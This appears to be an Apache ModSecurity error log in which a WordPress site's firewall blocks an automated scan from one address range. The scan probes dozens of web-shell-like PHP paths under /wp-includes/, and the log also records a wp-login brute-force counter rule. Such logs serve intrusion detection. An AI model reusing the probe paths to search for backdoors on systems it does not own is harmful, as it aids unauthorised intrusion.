[Wed Apr 15 05:06:36.161649 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.131:44863] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "ad6sXK3iO9_fE_IQEMkUmgAAARA"]
[Wed Apr 15 05:06:37.483151 2026] [:error] [pid 45504:tid 45517] [client 45.131.195.179:25091] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "ad6sXa3iO9_fE_IQEMkUnAAAAQs"]
[Wed Apr 15 05:06:38.476280 2026] [:error] [pid 4169:tid 4173] [client 45.131.195.154:39137] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/options.php"] [unique_id "ad6sXh15U5D-N99n_jJpIAAAAME"]
[Wed Apr 15 05:06:39.751581 2026] [proxy_fcgi:error] [pid 4169:tid 4191] [client 45.131.195.175:63405] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:06:42.843107 2026] [:error] [pid 4169:tid 4196] [client 45.131.195.175:63405] [client 45.131.195.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.175, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "ad6sYh15U5D-N99n_jJpKwAAANU"]
[Wed Apr 15 05:06:48.837134 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.175:63405] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/goto.php"] [unique_id "ad6saB15U5D-N99n_jJpSQAAAMo"]
[Wed Apr 15 05:07:10.856981 2026] [:error] [pid 4065:tid 4080] [client 45.131.195.170:46765] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "ad6sfgWArgJTHu2_6Oy7cgAAAAQ"]
[Wed Apr 15 05:07:11.953049 2026] [:error] [pid 45504:tid 45525] [client 45.131.195.121:30793] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "ad6sf63iO9_fE_IQEMkUyAAAARM"]
[Wed Apr 15 05:07:13.130246 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.150:58117] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "ad6sga3iO9_fE_IQEMkUzQAAAQo"]
[Wed Apr 15 05:07:22.877707 2026] [:error] [pid 4169:tid 4200] [client 45.131.195.190:29405] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "ad6sih15U5D-N99n_jJpjgAAANg"]
[Wed Apr 15 05:07:23.981975 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.139:38493] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "ad6six15U5D-N99n_jJpkAAAAMM"]
[Wed Apr 15 05:07:24.954536 2026] [:error] [pid 4169:tid 4178] [client 45.131.195.119:34871] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "ad6sjB15U5D-N99n_jJpkwAAAMY"]
[Wed Apr 15 05:07:32.056051 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.170:45127] [client 45.131.195.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "ad6slIC2YXfSPsC9O_BbzAAAAEk"]
[Wed Apr 15 05:07:34.947189 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.197:48127] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "ad6slh15U5D-N99n_jJpywAAAMQ"]
[Wed Apr 15 05:07:38.804618 2026] [:error] [pid 4169:tid 4192] [client 45.131.195.179:31387] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "ad6smh15U5D-N99n_jJp4AAAANI"]
[Wed Apr 15 05:07:53.144492 2026] [:error] [pid 4066:tid 4123] [client 45.131.195.176:28397] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/index.php"] [unique_id "ad6sqYC2YXfSPsC9O_Bb9QAAAFM"]
[Wed Apr 15 05:07:55.834510 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.169:34367] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/about.php"] [unique_id "ad6sq4C2YXfSPsC9O_BcAQAAAFU"]
[Wed Apr 15 05:08:03.886974 2026] [:error] [pid 4067:tid 4146] [client 45.131.195.197:63389] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-sup.php"] [unique_id "ad6ss-5XHBJU8ZrRxZ0ofwAAAI8"]
[Wed Apr 15 05:08:07.835129 2026] [:error] [pid 4067:tid 4136] [client 45.131.195.139:35507] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-t.api.php"] [unique_id "ad6st-5XHBJU8ZrRxZ0oiQAAAIU"]
[Wed Apr 15 05:08:14.036311 2026] [:error] [pid 4066:tid 4123] [client 45.131.195.180:22661] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/require-dynamic-blocks.php"] [unique_id "ad6svoC2YXfSPsC9O_BcKAAAAFM"]
[Wed Apr 15 05:08:20.012827 2026] [:error] [pid 4066:tid 4127] [client 45.131.195.166:56279] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-rss-database.php"] [unique_id "ad6sxIC2YXfSPsC9O_BcMgAAAFc"]
[Wed Apr 15 05:08:24.252315 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.174:40391] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-customize-manager-client.php"] [unique_id "ad6syK3iO9_fE_IQEMkVfQAAARY"]
[Wed Apr 15 05:08:25.249144 2026] [:error] [pid 4066:tid 4119] [client 45.131.195.120:48253] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-modules-packages.min-boolean.php"] [unique_id "ad6syYC2YXfSPsC9O_BcPAAAAE8"]
[Wed Apr 15 05:08:32.182089 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.180:43657] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/smilies/simi.php"] [unique_id "ad6s0O5XHBJU8ZrRxZ0oywAAAI4"]
[Wed Apr 15 05:08:39.193378 2026] [:error] [pid 4065:tid 4088] [client 45.131.195.120:59323] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine-session.php"] [unique_id "ad6s1wWArgJTHu2_6Oy7xQAAAAw"]
[Wed Apr 15 05:08:45.248821 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.171:64379] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.min.php"] [unique_id "ad6s3R15U5D-N99n_jJqRQAAANY"]
[Wed Apr 15 05:08:46.233818 2026] [:error] [pid 4065:tid 4098] [client 45.131.195.134:29275] [client 45.131.195.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/file/wp-style.php"] [unique_id "ad6s3gWArgJTHu2_6Oy71gAAABY"]
[Wed Apr 15 05:08:48.940904 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.166:22851] [client 45.131.195.166] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/class-IXR-cilent.php"] [unique_id "ad6s4K3iO9_fE_IQEMkViwAAAQ0"]
[Wed Apr 15 05:08:54.202057 2026] [:error] [pid 4065:tid 4097] [client 45.131.195.155:20683] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/install.php"] [unique_id "ad6s5gWArgJTHu2_6Oy79QAAABU"]
[Wed Apr 15 05:08:56.321164 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.119:30835] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/xleet.php"] [unique_id "ad6s6K3iO9_fE_IQEMkVnAAAARA"]
[Wed Apr 15 05:09:05.861793 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.146:39761] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/category-double.php"] [unique_id "ad6s8R15U5D-N99n_jJqcgAAAMQ"]
[Wed Apr 15 05:09:09.750320 2026] [:error] [pid 4066:tid 4124] [client 45.131.195.171:56577] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/db.php"] [unique_id "ad6s9YC2YXfSPsC9O_BcfQAAAFQ"]
[Wed Apr 15 05:09:10.784804 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.191:39481] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/security.php"] [unique_id "ad6s9q3iO9_fE_IQEMkVxgAAAQ0"]
[Wed Apr 15 05:09:14.911873 2026] [:error] [pid 4065:tid 4091] [client 45.131.195.115:43431] [client 45.131.195.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "ad6s-gWArgJTHu2_6Oy7_gAAAA8"]
[Wed Apr 15 05:09:18.132314 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.149:21931] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "ad6s_q3iO9_fE_IQEMkV8AAAAQM"]
[Wed Apr 15 05:09:25.973841 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.197:53217] [client 45.131.195.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "ad6tBa3iO9_fE_IQEMkWGAAAARE"]
[Wed Apr 15 05:09:31.012318 2026] [:error] [pid 4169:tid 4193] [client 45.131.195.140:57055] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "ad6tCx15U5D-N99n_jJqlwAAANM"]
[Wed Apr 15 05:09:35.137055 2026] [:error] [pid 45504:tid 45522] [client 45.131.195.165:65157] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "ad6tD63iO9_fE_IQEMkWPQAAARA"]
[Wed Apr 15 05:09:38.898994 2026] [:error] [pid 4066:tid 4115] [client 45.131.195.204:60305] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/as.php"] [unique_id "ad6tEoC2YXfSPsC9O_BcjgAAAEs"]
[Wed Apr 15 05:09:42.743550 2026] [:error] [pid 4067:tid 4148] [client 45.131.195.155:44561] [client 45.131.195.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "ad6tFu5XHBJU8ZrRxZ0pHAAAAJE"]
[Wed Apr 15 05:09:46.165871 2026] [:error] [pid 4067:tid 4150] [client 45.131.195.164:61335] [client 45.131.195.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/install.php"] [unique_id "ad6tGu5XHBJU8ZrRxZ0pJAAAAJM"]
[Wed Apr 15 05:09:47.963042 2026] [:error] [pid 4065:tid 4098] [client 45.131.195.130:58961] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/db.php"] [unique_id "ad6tGwWArgJTHu2_6Oy8HgAAABY"]
[Wed Apr 15 05:09:57.030855 2026] [:error] [pid 4065:tid 4089] [client 45.131.195.251:25865] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "ad6tJQWArgJTHu2_6Oy8LgAAAA0"]
[Wed Apr 15 05:10:04.051797 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.120:29097] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rk2.php"] [unique_id "ad6tLB15U5D-N99n_jJqxwAAAMs"]
[Wed Apr 15 05:10:09.162589 2026] [:error] [pid 45504:tid 45515] [client 45.131.195.160:33019] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/past.php"] [unique_id "ad6tMa3iO9_fE_IQEMkWjwAAAQk"]
[Wed Apr 15 05:10:14.324802 2026] [:error] [pid 4067:tid 4133] [client 45.131.195.190:49253] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/edit-tags.php"] [unique_id "ad6tNu5XHBJU8ZrRxZ0pOAAAAII"]
[Wed Apr 15 05:10:22.174772 2026] [:error] [pid 4065:tid 4086] [client 45.131.195.116:22841] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "ad6tPgWArgJTHu2_6Oy8VgAAAAo"]
[Wed Apr 15 05:10:25.586261 2026] [:error] [pid 4065:tid 4099] [client 45.131.195.156:44659] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "ad6tQQWArgJTHu2_6Oy8XAAAABc"]
[Wed Apr 15 05:10:28.557945 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.174:53259] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "ad6tRK3iO9_fE_IQEMkXCAAAAQw"]
[Wed Apr 15 05:10:32.781824 2026] [:error] [pid 4066:tid 4123] [client 45.131.195.165:40303] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "ad6tSIC2YXfSPsC9O_BcsAAAAFM"]
[Wed Apr 15 05:10:44.375496 2026] [:error] [pid 45504:tid 45513] [client 45.131.195.161:51093] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "ad6tVK3iO9_fE_IQEMkXXwAAAQc"]
[Wed Apr 15 05:10:45.444450 2026] [:error] [pid 4067:tid 4139] [client 45.131.195.129:23709] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "ad6tVe5XHBJU8ZrRxZ0pXQAAAIg"]
